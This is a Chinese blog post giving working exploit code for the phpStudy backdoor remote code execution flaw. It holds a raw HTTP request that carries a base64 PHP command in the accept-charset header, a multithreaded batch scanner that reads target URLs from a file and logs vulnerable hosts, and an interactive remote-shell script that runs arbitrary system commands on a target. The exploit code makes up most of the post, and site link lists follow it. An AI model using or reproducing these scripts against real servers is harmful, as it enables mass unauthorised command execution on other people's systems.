phpstudy后门rce批量利用脚本的实现


Posted in PHP onDecember 12, 2019

写两个一个批量检测的 一个交互式shell的

暂时py 图形化的qt写出来..有点问题

后门包 :

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7
Accept-Encoding: gzip,deflate
Upgrade-Insecure-Requests: 1

phpstudy后门rce批量利用脚本的实现

phpstudy后门rce批量利用脚本的实现

执行那段写shell即可

phpstudy后门rce批量利用脚本的实现

晚上抽点空简单写个发包的py:

phpstudy后门rce批量利用脚本的实现

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import queue


print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")
payload = "echo \"qing\";"
payload = base64.b64encode(payload.encode('utf-8'))
payload = str(payload, 'utf-8')
headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
}



def write_shell(url,headers):
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] Timeout: '+url+' [ - ]\n')

url = "http://xxx"
write_shell(url=url,headers=headers)

界面优化、改下多线程、批量读取文本文件后的代码:

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool


print("======Phpstudy Backdoor Exploit============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")




def write_shell(url):
  payload = "echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
}
  try:
    r = requests.get(url=url+'/index.php', headers=headers, verify=False,timeout=30)
    if "qing" in r.text:
      print ('[ + ] BackDoor successful: '+url+'===============[ + ]\n')
      with open('success.txt','a') as f:
          f.write(url+'\n')
    else:
      print ('[ - ] BackDoor failed: '+url+'[ - ]\n')
  except:
    print ('[ - ] Timeout: '+url+' [ - ]\n')

# url = "http://xxx"
# write_shell(url=url,headers=headers)

def main():
  with open('url.txt','r') as f:
    lines = f.read().splitlines()
    task_pool=threadpool.ThreadPool(5)
    requests=threadpool.makeRequests(write_shell,lines)
  for req in requests:
    task_pool.putRequest(req)
    task_pool.wait() 
if __name__ == '__main__':
  main()


#线程队列部分
# th=[]
# th_num=10
# for x in range(th_num):
#     t=threading.Thread(target=write_shell)
#     th.append(t)
# for x in range(th_num):
#     th[x].start()
# for x in range(th_num):
#     th[x].join()

phpstudy后门rce批量利用脚本的实现

你也可以加上读取php文件的字典 这个简单没啥说的

下一个是交互式shell

#!/usr/bin/env python3
#-*- encoding:utf-8 -*-
# 卿 博客:https://www.cnblogs.com/-qing-/

import base64
import requests
import threading
import threadpool
import re

print("======Phpstudy Backdoor Exploit---os-shell============\n")
print("===========By Qing=================\n")
print("=====Blog:https://www.cnblogs.com/-qing-/==\n")



def os_shell(url,headers,payload):
  try:
    r = requests.get(url=url+'/phpinfo.php',headers=headers,verify=False,timeout=10)
    # print(r.text)
    res = re.findall("qing(.*?)qing",r.text,re.S)
    print("[ + ]===========The Response:==========[ + ]\n")
    res = "".join(res)
    print(res)
  except:
    print("[ - ]===========Failed! Timeout...==========[ - ]\n")

def main():
  url = input("input the Url , example:\"http://127.0.0.1/\"\n")
  payload = input("input the payload , default:echo system(\"whoami\");\n")
  de_payload = "echo \"qing\";system(\"whoami\");echo \"qing\";"
  if payload.strip() == '':
    payload = de_payload
  payload = "echo \"qing\";"+payload+"echo \"qing\";"
  payload = base64.b64encode(payload.encode('utf-8'))
  payload = str(payload, 'utf-8')
  headers = {
  'Upgrade-Insecure-Requests': '1',
  'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36',
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
  'Accept-Language': 'zh-CN,zh;q=0.9',
  'accept-charset': payload,
  'Accept-Encoding': 'gzip,deflate',
  'Connection': 'close',
  }
  os_shell(url=url,headers=headers,payload=payload)
if __name__ == '__main__':
  main()

phpstudy后门rce批量利用脚本的实现

 以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

PHP 相关文章推荐
php 仿Comsenz安装效果代码打包提供下载
May 09 PHP
jQuery EasyUI API 中文文档 - DateBox日期框
Oct 15 PHP
PHP字符串word末字符实现大小写互换的方法
Nov 10 PHP
PHP中shuffle数组值随便排序函数用法
Nov 21 PHP
PHP Reflection API详解
May 12 PHP
php验证手机号码
Nov 11 PHP
PHP中字符与字节的区别及字符串与字节转换示例
Oct 15 PHP
PHP ADODB实现事务处理功能示例
May 25 PHP
yii2实现Ueditor百度编辑器的示例代码
Nov 02 PHP
详解在YII2框架中使用UEditor编辑器发布文章
Nov 02 PHP
php设计模式之原型模式分析【星际争霸游戏案例】
Mar 23 PHP
yii 框架实现按天,月,年,自定义时间段统计数据的方法分析
Apr 04 PHP
PHP设计模式之数据访问对象模式(DAO)原理与用法实例分析
Dec 12 #PHP
PHP设计模式之建造者模式(Builder)原理与用法案例详解
Dec 12 #PHP
PHP设计模式之适配器模式(Adapter)原理与用法详解
Dec 12 #PHP
PHP学习记录之常用的魔术常量详解
Dec 12 #PHP
记Laravel调用Gin接口调用formData上传文件的实现方法
Dec 12 #PHP
PHP命名空间(namespace)原理与用法详解
Dec 11 #PHP
在 Laravel 6 中缓存数据库查询结果的方法
Dec 11 #PHP
You might like
咖啡冲泡指南 咖啡有哪些制作方式 单品咖啡 意式咖啡
2021/03/06 冲泡冲煮
解决dede生成静态页和动态页转换的一些问题,及火车采集入库生成动态的办法
2007/03/29 PHP
PHP执行速率优化技巧小结
2008/03/15 PHP
简单的php写入数据库类代码分享
2011/07/26 PHP
PHP随机数 C扩展随机数
2016/05/04 PHP
基于PHP实现商品成交时发送短信功能
2016/05/11 PHP
javascript打印大全(打印页面设置/打印预览代码)
2013/03/29 Javascript
javascript基本类型详解
2014/11/28 Javascript
JavaScript阻止浏览器返回按钮的方法
2015/03/18 Javascript
超级给力的JavaScript的React框架入门教程
2015/07/02 Javascript
重新认识vue之事件阻止冒泡的实现
2018/08/02 Javascript
微信小程序控制台提示warning:Now you can provide attr "wx:key" for a "wx:for" to improve performance解决方法
2019/02/21 Javascript
在layui中select更改后生效的方法
2019/09/05 Javascript
vue + elementUI实现省市县三级联动的方法示例
2019/10/29 Javascript
Vue看了就会的8个小技巧
2021/01/21 Vue.js
Python写的一个简单监控系统
2015/06/19 Python
Python实现的选择排序算法原理与用法实例分析
2017/11/22 Python
详解K-means算法在Python中的实现
2017/12/05 Python
python列表生成式与列表生成器的使用
2018/02/23 Python
Django框架实现的简单分页功能示例
2018/12/04 Python
Python中GeoJson和bokeh-1的使用讲解
2019/01/03 Python
django foreignkey外键使用的例子 相当于left join
2019/08/06 Python
python实现BP神经网络回归预测模型
2019/08/09 Python
python批量将excel内容进行翻译写入功能
2019/10/10 Python
Flask之pipenv虚拟环境的实现
2019/11/26 Python
详谈tensorflow gfile文件的用法
2020/02/05 Python
使用 Python 在京东上抢口罩的思路详解
2020/02/27 Python
Django 实现对已存在的model进行更改
2020/03/28 Python
python 日志模块 日志等级设置失效的解决方案
2020/05/26 Python
python字符串的index和find的区别详解
2020/06/20 Python
美国名牌太阳镜折扣网站:Eyedictive
2017/05/15 全球购物
印度尼西亚值得信赖的第一家网店:Bhinneka
2018/07/16 全球购物
巴西一家专门从事家居和装饰的连锁店:Camicado
2019/08/14 全球购物
中专毕业生自我鉴定
2013/11/21 职场文书
幼儿园教师的自我评价范文
2014/09/17 职场文书
一文弄懂MySQL索引创建原则
2022/02/28 MySQL